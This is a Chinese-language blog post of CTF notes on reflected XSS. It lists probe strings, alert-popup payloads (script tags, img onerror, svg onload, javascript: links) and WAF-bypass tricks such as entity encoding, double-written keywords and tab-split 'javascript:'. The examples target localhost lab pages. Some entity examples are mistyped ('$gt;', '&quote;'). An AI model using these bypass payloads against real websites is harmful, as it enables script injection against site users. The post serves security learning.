CTF-WEB之XSS检测篇

优秀的人,不是不合群,而是他们合群的人里面没有你

本篇文章只讨论反射性XSS的实现方法以及绕过waf的策略。

原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加的参数功能。

主要思路

先找到闭合方式

找到过滤的标签

找到没有被过滤的标签

接下来是一些需要查看是否有过滤的元素

1. addd" 
2. ad' 
3. (aaa) 
4. <aaa> 
5. <script> 
6. <onload>
7. <onerror>
8. adad:
9. alert
10. href
11. javascript 
12. <script> 
13. <a href>  
14. onerror
15. alert(1)" 
16. 'alert(1)' 
17. javascript:  
18. <img src> 
19. onfocus

结合弹窗的方式利用未过滤的标签进行弹窗,有如下方式:

结合弹窗的方式利用未过滤的标签进行弹窗,

有如下方式:

直接弹窗:

<script>alert(1)</script> 
<img src=xxxxx onerror='alert(2)'>

在标签内事件弹窗:

<img src=一个瞎几把地址 onerror='alert(1)'> 
<input value="aaa onclick="alert(1)">
 <svg onload='alert(1)'> 

通过js代码弹窗

<input value="aaa" onmuosemove="confirm(1)"> 
<input value="aaa" onmuosemove="prompt(1)">
<a href=javascript:alert(1)>点我</a><>

绕过方法合集

转义

html中的转义:

显示结果:实体名称:实体编号
< : &lt; : &#60;
> : $gt; : &#62;
" : &quote; : &#34;
' : %apos;  : &#39;
( :&#x28;
) : &#x29;

xss防御会把这些html中用来闭合的位置进行转义,这些转义后的符号在html的内容中并不会出现异常效果和原来的一样。但是有些位置即使没有引号闭合,如果中间有空格也会造成xss。

如果后端代码会把单引号替换或者屏蔽,可以用上面的实体名称或者实体编号代替,可以简单的绕过拦截。

即访问上面flask的网址也会出现弹窗:

127.0.0.1:5000/?id=<img src=hello onerror='alert(1)'/>
127.0.0.1:5000/?id=<img src='hello'onerror='alert(1)'/>

常用绕过waf

  1. 转义,即上面的标签转义,但是必须要用在标签里面
  2. 改变大小写
  3. hex,url编码
  4. 使用其他标签引用,比如onerror,onchange等
  5. 使用js自带的函数编码
  6. 使用 ` 代替括号
  7. 被替换成空,可以双写带入比如scrscriptipt,oonnclick
  8. 使用svg标签插入,可以绕过注释

    <svg onload=";alert('插入svg标签成功~')">
    

<>闭合框被转意,绕过

当><被自动转化,可以用别的事件触发弹窗,从而不用到<>

比如

value = 'a' onfocus='alert() 
value = 'a' oninput='alert()
value = 'a' onclick='alert() 

转义,即上面的标签转义,但是必须要用在标签里面

输入框内被转义

使用单引号或者双引号闭合输入,然后在优先条件内输出弹窗指令

JS特殊制表符

使用javaScript变换(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)的办法绕过,这里必须在浏览器直接执行

http://127.0.0.1/xss/level8.php?keyword=javas%09cript:alert()
http://127.0.0.1/xss/level8.php?keyword=javas%0acript:alert()
http://127.0.0.1/xss/level8.php?keyword=javas%0dcript:alert()

第八题

坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%